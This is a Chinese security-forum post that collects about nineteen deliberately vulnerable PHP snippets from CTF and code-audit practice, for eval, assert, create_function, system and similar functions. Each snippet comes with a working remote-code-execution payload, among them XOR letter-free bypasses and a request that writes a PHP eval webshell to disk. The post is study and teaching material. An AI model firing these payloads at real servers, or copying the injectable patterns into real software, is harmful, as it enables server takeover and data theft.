安全矩阵

 找回密码
 立即注册
搜索
查看: 2430|回复: 0

PHP代码执行集锦

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-3-21 20:21:53 | 显示全部楼层 |阅读模式
原文链接:PHP代码执行集锦

前言

代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下

命令执行函数E.g.1
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. $b = "$_GET[d]";
  6. $array[0] =$b;
  7. $c = array_map($a,$array);
  8. ?>
复制代码

传入参数c和d,array_map函数作用将**作为函数,array**作为参数,构造paylaod
  1. ?c=assert&d=system(%27ls%27);
复制代码

E.g.2
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[b]";
  5. $b = create_function('',$a);
  6. $b();
  7. ?>
复制代码

create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。


  1. $b = create_function('',$a);
复制代码

这里$a为函数,' '为参数

那么可以看作为

  1. function lambda(){
  2. echo ' ' ;
  3. }
复制代码

传入payload
  1. b= ;}phpinfo();/*
复制代码
在function函数中即
  1. function lambda(){
  2. echo ' ' ;}phpinfo();/*
  3. }
复制代码
后面的内容注释掉了,即执行命令

E.g.3
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[d]";
  5. $b='print'.$a.';';
  6. $f = create_function('$a',$b);
  7. $f($a)
复制代码
跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
  1. d=1;}system(%27ls%27);/*
复制代码
一致

E.g.4
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[b]";
  5. assert($a);
  6. ?>
复制代码
没什么特别之处,assert直接作为函数执行,payload:
  1. ?b=system(%27ls;%27)
复制代码
E.g.5
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[b]";
  5. $b = "$_GET[c]";
  6. call_user_func($a,$b);
  7. ?>
复制代码
call_user_func()函数的特点,知道后面的后面的为参数,前面的

a为函数即可

payload:

  1. ?b=system&c=whoami
复制代码
E.g.6
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[b]";
  5. $b = array($_GET['c']);
  6. call_user_func_array($a,$b);
  7. ?>
复制代码
payload:
  1. ?b=assert&c=system(%27whoami%27);
复制代码

E.g.7
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $_GET['a']($_GET['b']);
  5. ?>
复制代码
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
  1. ?a=assert&b=system(%27ls%27)
复制代码

E.g.8
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[b]";
  5. eval($a);
  6. ?>
复制代码
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
  1. ?b=system("ls");
复制代码

E.g.9
  1. <?php
  2. show_source(__FILE__);
  3. echo "<br>";
  4. echo '请输入一个a的值';
  5. echo "<br>";
  6. error_reporting(0);
  7. $price = $_GET['a'];
  8. $code = 'echo $name. '.'的美元价格是' .$price.'; ';
  9. $b = create_function('$name',$code);
  10. $b('iphone');
  11. ?>
复制代码

基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再**$code**的位置

payload:

  1. ?a=1;}system(%27ls%27);/*
复制代码

E.g.10
  1. <?php
  2. show_source(__FILE__);
  3. error_reporting(0);
  4. $sort_by = $_GET['sort_by'];
  5. $sorter = 'strnatcasecmp';
  6. $database = array('1234','4321');
  7. $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
  8. usort($database,create_function('$a,$b',$sort_function));
  9. ?>
复制代码

属于加强版本,**$sort_function的内容进行闭合,也就是sort_by**的参数值要实现闭合,构造payload:

  1. ?sort_by=%27"]);}system(%27whoami%27);/*
复制代码

E.g.11
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. $b = preg_replace("/abc/e",$a,'abcd');
  6. var_dump($b);
  7. ?>
复制代码
虽然加了正则,但是并没有什么卵用,假把式,payload:
  1. ?c=system(%27ls%27);
复制代码

E.g.12
  1. <?php
  2. show_source(__FILE__);
  3. $commandExecution = "echo ";
  4. echo "<br>";
  5. system($commandExecution.$_GET['a']);
  6. echo "<br>";
  7. ?>
复制代码
payload
  1. ?a=<?php%20@eval($_POST[a]);%20?>%20>2.php
复制代码
一句话木马写入2.php


也有其它解法直接进行命令执行。

E.g.13
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. echo "<br>";
  6. exec($a,$b);
  7. var_dump($b);
  8. ?
复制代码
**exec()**函数直接执行命令,那么payload
  1. ?c=whoami
复制代码

E.g.14
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. echo shell_exec($a);
  6. ?
复制代码

函数的特性shell_exec

?c=ls>2.txt

然后执行

?c=cat 2.txt

此时


E.g.15
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. echo "<br>";
  6. echo `$a`;
  7. ?>
复制代码

看到echo以及传入的字符串,方法类似于上面的一道

?c=cat%20flag.php>3.txt

直接访问3.txt即可,或者

?c=cat%203.txt

E.g.16
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $a = "$_GET[c]";
  5. passthru($a);
  6. ?>
复制代码

payload:

?c=cat%20flag.php

E.g.17
  1. <?php
  2. error_reporting(0);
  3. show_source(__FILE__);
  4. $cmd=$_GET['c'];
  5. $fd = popen($cmd, 'r');
  6. while($s=fgets($fd)){
  7. print_r($s);
  8. }
  9. ?>
复制代码

payload

?c=cat%20flag.php

E.g.18
  1. <?php
  2.   error_reporting(0);
  3.   show_source(__FILE__);
  4.   $command=$_GET['c'];
  5.   $descriptorspec=array(
  6.     0=>array('pipe','r'),
  7.     1=>array('pipe','w'),
  8.     2=>array('pipe','w')
  9.   );
  10.   $handle=proc_open($command,$descriptorspec,$pipes,NULL);
  11.   if(!is_resource($handle)){
  12.     die('proc_open failed');
  13.   }
  14.   while($s=fgets($pipes[1])){
  15.     print_r($s);
  16.   }
  17.   while($s=fgets($pipes[2])){
  18.     print_r($s);
  19.   }
  20.   fclose($pipes[0]);
  21.   fclose($pipes[1]);
  22.   fclose($pipes[2]);
  23.   proc_close($handle);
  24. ?>
复制代码

payload

?c=cat%20flag.php

E.g.19 无字母shell
  1. <?php
  2. include 'flag.php';
  3. if(isset($_GET['code'])){
  4.   $code = $_GET['code'];
  5.   if(strlen($code)>40){ //检测字符长度
  6.     die("Long.");
  7.   }
  8.   if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
  9.     die("NO.");
  10.   }
  11.   @eval($code); //$code的值要为非字母和数字
  12. }else{
  13.   highlight_file(__FILE__);
  14. }
  15. //$hint = "php function getFlag() to get flag";
  16. ?>
复制代码
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
  1. <?php
  2. var_dump('#'^'|');
  3. var_dump('.'^'~');
  4. var_dump('/'^'');
  5. var_dump('|'^'/');
  6. var_dump('{'^'/');
  7. $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");
  8. //变量$_值为字符串'POST'
  9. ?>
复制代码

no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下

function getflag(){

xxxxxxxxxxxxxxxx

}

@eval($code);

函数的调用就是类似于上面的过程,那么eval在执行的过程中_GET[]且需要调用**getFlag()**方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:

  1. ?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag

  2. 或者

  3. ?code=$="`{{{"^"?<>/";${$}_;&_=getFlag
复制代码

这里

//_GET 的变形无字母shell

$_="`{{{"^"?<>/";




小结

大佬请绕路,如有错误欢迎师傅们指出。


本实验主要介绍了Command-Injection实验,通过本实验的学习,你能够深入理解命令行注入工作原理,建立独立思考问题的能力。
https://www.hetianlab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1&pk_campaign=weixin-wemedia#stu



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 15:33 , Processed in 0.015476 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表